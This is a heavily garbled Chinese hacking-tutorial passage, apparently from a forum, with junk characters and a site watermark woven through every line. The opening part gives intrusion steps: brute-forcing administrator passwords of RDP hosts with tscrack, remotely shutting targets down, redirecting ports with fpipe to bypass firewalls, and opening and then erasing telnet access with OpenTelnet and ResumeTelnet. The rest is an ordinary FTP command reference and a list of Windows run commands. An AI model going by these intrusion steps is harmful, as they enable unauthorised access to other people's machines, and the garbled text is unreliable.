8[$i}5N4x9U$H[1]CZD0hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。
C r3S*H#\ ]pN0★黑基空间★0}Z1Yc3O_7u%u~
z[ xI%} GH HW05其它：
0Z'b#\0\7U?0
U2S@3Q [0Shutdown.exe ★黑基空间★,y5e.E4L$R[
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。）
nr6xcw3c&^#A0fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） ★黑基空间★
CF | [(^rH
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时，他扫到的结果会完全是www.sina.com.cn的主机信息
Q"TH U!a M0Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 ★黑基空间★y6c!Z
yE|"h,t
OpenTelnet.exe (远程开启telnet工具)
)y,~|:}PG[/B3A0opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。
;DL/y8CK4?0NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。
$e{ M?g!_x6n H0★黑基空间★ Pd:{ f{ c\wW
ResumeTelnet.exe (OpenTelnet附带的另一个工具)
yF4v#ZP'pCC h0resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。★黑基空间★ Cf~TI.KA+^/P;?2E2T
c,\|5Y(rf8| b06FTP命令详解：★黑基空间★"eZU4x-o
★黑基空间★nLTue.`o
FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。
9R'G`SL(c,Q*w0★黑基空间★^am7Z7s'h,oR5m!p$L
FTP的命令行格式为： ★黑基空间★J-M2X Rz+B W$B;g
])j
ftp -v -d -i -n -g [主机名] ，其中★黑基空间★LY[1]D2pg
★黑基空间★4Y&A'r2a;GtY\y
-v 显示远程服务器的所有响应信息；★黑基空间★+r"x/@.B s9W'c
★黑基空间★}5r8]r'bVl:[
-n 限制ftp的自动登录，即不使用；.n etrc文件；★黑基空间★k~W:V1U M
★黑基空间★U a?S$qy;D
-d 使用调试方式；★黑基空间★.E `?f)_ytT(t*n
2O+ma~8]0-g 取消全局文件名。
;I)HCR,E x z;K0★黑基空间★a%A@wz*["w&^0S Y YQ
FTP使用的内部命令如下(中括号表示可选项):★黑基空间★e&@"QKq4p/eNb9u
★黑基空间★8l i~ ]3MI{
1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip ★黑基空间★"s']]&@1P"d'M
2.$ macro-ame[args]： 执行宏定义macro-name。
7~'kH0dQF2y0★黑基空间★ E$R r3HzA3@4e,B)[!L
3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。
"f-Dvz#mY04.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。
FM{Ok6n0
jX;~%c2fy05.ascii：使用ascii类型传输方式。
R*e D h.R06.bell：每个命令执行完毕后计算机响铃一次。★黑基空间★+y2Y,z5q)U!sa i
:|DOFD1G7Q S07.bin：使用二进制文件传输方式。
L4Bl'X]08.bye：退出ftp会话过程。
3\!MFL(w0
~;D Xi6J1Z1q7u,_09.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 ★黑基空间★j l1q.]_
10.cd remote-dir：进入远程主机目录。★黑基空间★`Qq_O2v o1L|
P{|7M#R6t3R4z&I011.cdup：进入远程主机目录的父目录。
:V ?1fP4eDo,BI012.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。
#Y#KW:M^[1]~ N;e0
7T GV:m:yV013.close：中断与远程服务器的ftp会话(与open对应)。 ★黑基空间★"O*]tq1`T:w(?[1]Y
14.cr：使用asscii方式传输文件时，将回车换行转换为回行。★黑基空间★3OZ
is#Y2E
8Fk-v)FI?3@-R8i015.delete remote-file：删除远程主机文件。
|-U JG6DAq0C%[016.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。★黑基空间★#}@/]$Q/R @
★黑基空间★$L0X e h2r5I2t&t+o6Y)h
\
17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 ★黑基空间★f?*F e[1]VJ-h7GI
18.disconnection：同close。
,B!DtP:Q v!U~@Sw;f0★黑基空间★ @9E9H(t1j;ua)p
19.form format：将文件传输方式设置为format，缺省为file方式。
[1]` a8@1Y[1]`4vK020.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。★黑基空间★b%LV8t~&L
B/Ho6_+t021.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 ★黑基空间★?!?(F:L+|lp?a.b
22.hash：每传输1024字节，显示一个hash符号(#)。
UY pE Q5c0
1B)cRj/`f#n023.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。
`!zTnQ _,u-SNd024.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。
G-F t4e+_*]%F,kc0★黑基空间★1D(aQ(KS-z/u5T/I
25.image：设置二进制传输方式(同binary)。 ★黑基空间★plg)f|wU"@`
26.lcd[dir]：将本地工作目录切换至dir。
_7IU5r*j0
R?u%d `'AJ w'dw027.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。
G&n;fBM k3E/Sz!N:n028.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。
2IxD hWS x0
[1]F@-yR.{ ?6Y$u-Vm029.mdelete[remote-file]：删除远程主机文件。 ★黑基空间★R Fq:lQ${
30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。
4Hb%op cd%BVr0
R;~X;?Nj&qO B OO!w0y031.mget remote-files：传输多个远程文件。 ★黑基空间★H5rKiZ@4Z
32.mkdir dir-name：在远程主机中建一目录。
Q |h3[5d x;i-~of0★黑基空间★(^(y&V+m2r` [8}KB1t
33.mls remote-file local-file：同nlist，但可指定多个文件名。
IZ }4Qw034.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。★黑基空间★e1|Ga QTI
★黑基空间★T
yq6k$k.l
35.modtime file-name：显示远程主机文件的最后修改时间。 ★黑基空间★2N'["g1sK$Q
36.mput local-file：将多个文件传输至远程主机。★黑基空间★ Q/@"]DG1i X6] M(u
.i.g#NP| ?%Qnh037.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。★黑基空间★,HHu/xNv M.J
38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。
@ U!JT,s
e]e"W[1]u0
2S-Y!S ? T*A m*G2NO5dY4w039.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。★黑基空间★'il5\'^)_ u&U(s
40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。
3a J0Ch Vb[+d XKQ0★黑基空间★Z2b"dOFQ'^,|
41.open host[port]：建立指定ftp服务器连接，可指定连接端口。
'D*j#M1T
F[1]h9N042.passive：进入被动传输方式。★黑基空间★,X0X]7O h,B fp*?
★黑基空间★,L.n2? S(vd a/t
43.prompt：设置多个文件传输时的交互提示。
7A.AR#D}]4m0D u*y@044.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。★黑基空间★9tq4_aPs6t5f\
45.put local-file[remote-file]：将本地文件local-file传送至远程主机。
j }4kE8J\?\u046.pwd：显示远程主机的当前工作目录。★黑基空间★5y(zu7{(r;j(L'dQ
}Sy,e"iq |!d+~ f!@ v047.quit：同bye，退出ftp会话。
u$m6LI? FJ048.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.
r.b_[?[1]NBZ)h5k0
8R0[;x&M V049.recv remote-file[local-file]：同get。 ★黑基空间★ ^ J&g B L s4[Kw
50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。
3F?jv]H[1]FD0
9U%m{e4{7ON051.rhelp[cmd-name]：请求获得远程主机的帮助。 ★黑基空间★}$Vm*z+sE
52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。
vO/] q?JV3j0★黑基空间★9?Z8HH8m
53.rename[from][to]：更改远程主机文件名。
&e&PT*h XG(v054.reset：清除回答队列。★黑基空间★%g3R+d2xy9UX9Bw Z
c+p-E&m@8m%INNx+O055.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。
#R F K#~7? ` ^056.rmdir dir-name：删除远程主机目录。
/L D/@/]tn P\7Hr,K0★黑基空间★+I hNf[1]La OmOh6t
57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。
"g^1H[1][{Dks Z058.send local-file[remote-file]：同put。★黑基空间★ J C'lZ9Eif4W"Lv
ofDn.Q1K6T059.sendport：设置PORT命令的使用。 ★黑基空间★K!j5_ B;N7T+X4|
60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。★黑基空间★t&o:FW6^
★黑基空间★ `[ P)E+~5|2i
61.size file-name：显示远程主机文件大小，如：site idle 7200。
8X0T[*k1Q062.status：显示当前ftp状态。
R0]?`(^tU e{/kv$u0★黑基空间★c,B D1\7_e1u2i
63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。
o1~k&_'qSQ*[0}/EU:z2G064.sunique：将远程主机文件名存储设置为只一(与runique对应)。
Vf'h[1]^$G[o0
9g `&vg Z065.system：显示远程主机的操作系统类型。
Q#GVs8Rp JO066.tenex：将文件传输类型设置为TENEX机的所需的类型。
*b[H.\F%T SA n0★黑基空间★*wv!{0]?d#v
67.tick：设置传输时的字节计数器。 ★黑基空间★xdZG$m}o[1]\
68.trace：设置包跟踪。★黑基空间★1@Y b YM
T w o!f~069.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 ★黑基空间★Z-Uq"[CUs6UO
70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3
t2tiiP~0
$J+H+mhj071.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。
F/z2R#~[1]B%H-a072.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.
l[1]\/U3Du^0
N T-b9~-Mz?z073.?[cmd]：同help.
$x.L"Lh&N'f!F/Z.{;p;l m0★黑基空间★*om;gW&_%EC iU&c
#wC
m-^2|,B*N07：计算机运行命令全集 winver---------检查Windows版本★黑基空间★\6f i1zZ
wmimgmt.msc----打开windows管理体系结构
d_,`q3b/B0wupdmgr--------windows更新程序★黑基空间★ t"CL-[JK8g8J1E
winver---------检查Windows版本★黑基空间★po(No;M4L?un5_
wmimgmt.msc----打开windows管理体系结构
*m*I,I;Lz(f2o0wupdmgr--------windows更新程序
g tD%_ k:D!E6lJa7Wj0wscrīpt--------windows脚本宿主设置
1W[1]l'L#WI0write----------写字板winmsd-----系统信息
[1]U-T+T#N KN9t#l8c2Q0wiaacmgr-------扫描仪和照相机向导★黑基空间★w7B;U-`#gs D5{$j.B?Z
winchat--------XP自带局域网聊天★黑基空间★
k4D+X
L[1]})R0g
mem.exe--------显示内存使用情况
c r1n Uqr0Msconfig.exe---系统配置实用程序
g2d%k/Xn/j!bT0mplayer2-------简易widnows media player
#J3chh)?_V"Q0mspaint--------画图板
6n9A[&G/e[1]N9~0mstsc----------远程桌面连接★黑基空间★*hZic,l Z4\p
mplayer2-------媒体播放机★黑基空间★$d#Z|9iF S ?
magnify--------放大镜实用程序
$oj1sa ?\0RH[1]O0mmc------------打开控制台★黑基空间★+v'pi gdK'Lf%`8| u
mobsync--------同步命令★黑基空间★ I(d'`d3N+Z
dxdiag---------检查DirectX信息
I U E!}^2?0drwtsn32------ 系统医生
Dm'EQ.B T Z-uV0devmgmt.msc--- 设备管理器
w-L8U6B[1]K0dfrg.msc-------磁盘碎片整理程序★黑基空间★-D!g0kw?K g _y?f
diskmgmt.msc---磁盘管理实用程序
|)M6}i-Gs1T0J2G0dcomcnfg-------打开系统组件服务
!tk%H;fZ,J/}iL0ddeshare-------打开DDE共享设置★黑基空间★+]A)URa0Bw%eo:o }7L
dvdplay--------DVD播放器★黑基空间★IP R&}-[(v0Ph
net stop messenger-----停止信使服务
,VC-Ai4T xP-PgX0net start messenger----开始信使服务 ★黑基空间★dYC$l8w!C;P"iun4|
notepad--------打开记事本★黑基空间★ f%f} oJ*}3W5S_
nslookup-------网络管理的工具向导★黑基空间★#D*g+D(]?F l
ntbackup-------系统备份和还原
^[r _d(M*A3E0narrator-------屏幕"讲述人"
f'|+r;\6V _[1]w6m _0ntmsmgr.msc----移动存储管理器
K'{0czX P
j0ntmsoprq.msc---移动存储管理员操作请求
0s;H9}??B!A.hu0netstat -an----(TC)命令检查接口
q3pYe.N/E L0syncapp--------创建一个公文包
&~$A1H\&Y ["w^0sysedit--------系统配置编辑器
[+h[1]X i!aBv$b r d0sigverif-------文件签名验证程序★黑基空间★+Wy{)?)~;`)\"V
sndrec32-------录音机
NDb0b*B G0shrpubw--------创建共享文件夹
%{"S8y oK+LW4_*x be0secpol.msc-----本地安全策略★黑基空间★)j R/}h'@"b-^?soE
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码★黑基空间★A`[1]]
w0N }Y,Eb[1]Q
services.msc---本地服务设置★黑基空间★Yrj{e$^b b3N Z[1]A
Sndvol32-------音量控制程序★黑基空间★ |"E'F7G5}GW
sfc.exe--------系统文件检查器★黑基空间★!s H*Y7M{-}*p)|"aIW
sfc /scannow---windows文件保护
z7\3] p[1]C+@o0tsshutdn-------60秒倒计时关机命令
.`k'\VAEX0tourstart------xp简介（安装完成后出现的漫游xp程序）
[1]V;{2w2t(Z,|"v
nB0taskmgr--------任务管理器
f}wd3|M?m0eventvwr-------事件查看器★黑基空间★go,|[[1]q[1]_m
eudcedit-------造字程序
_/x0F$t&W2M'|A0explorer-------打开资源管理器★黑基空间★(V5a!E O(J3?+~
packager-------对象包装程序
|aC%JF-G0perfmon.msc----计算机性能监测程序★黑基空间★L2o!o[[1]]
progman--------程序管理器★黑基空间★-lR#Q7M6s Q{y1k
regedit.exe----注册表
't9vYi
NI[1]S I"S0rsop.msc-------组策略结果集★黑基空间★C/Lg?W]wxt&m
regedt32-------注册表编辑器★黑基空间★h k^,Z[${ ]
rononce -p ----15秒关机★黑基空间★9d(z?T a ?
regsvr32 /u *.dll----停止dll文件运行
8Wn$t$P"K e5t't"_0regsvr32 /u zipfldr.dll------取消ZIP支持
VS[1]H z+gCB\ hD0cmd.exe--------CMD命令提示符
)fE+F+xyl:s0chkdsk.exe-----Chkdsk磁盘检查★黑基空间★G-A"g#^/b;dD X
certmgr.msc----证书管理实用程序★黑基空间★(bH5w/_)L?)byKP
calc-----------启动计算器
6`"L5lKQ;u)d$h0charmap--------启动字符映射表
[1]\
XOs8j%P%h0cliconfg-------SQL SERVER 客户端网络实用程序
%T!]5eRyV6TP a9Ya,x0Clipbrd--------剪贴板查看器
Fl2Ae9y0E0conf-----------启动netmeeting★黑基空间★,B S` X9L5@*kgGli
compmgmt.msc---计算机管理
;_hJ?j(x[1]IQ0cleanmgr-------**整理★黑基空间★^"Jsq O?Y?
ciadv.msc------索引服务程序
3}Q7Y|[1]Cs0osk------------打开屏幕键盘★黑基空间★4M\+^y/`6SgD?jG
odbcad32-------ODBC数据源管理器
2A?a?Xa#z;q6N K$d8H v0oobe/msoobe /a----检查XP是否激活★黑基空间★N)A5Q G s HGv
lusrmgr.msc----本机用户和组
QO#c7Gn)r7h[1]U t0logoff---------注销命令
I:f'}.V3xF)bv6?[1]~0iexpress-------木马捆绑工具，系统自带★黑基空间★ J9KVv[1]z+vt
Nslookup-------IP地址侦测器
[1]|W v y)Uv
hQ0fsmgmt.msc-----共享文件夹管理器★黑基空间★Z"i_ Cr @$o
utilman--------辅助工具管理器
J _#j&pSt)l`'m0gpedit.msc-----组策略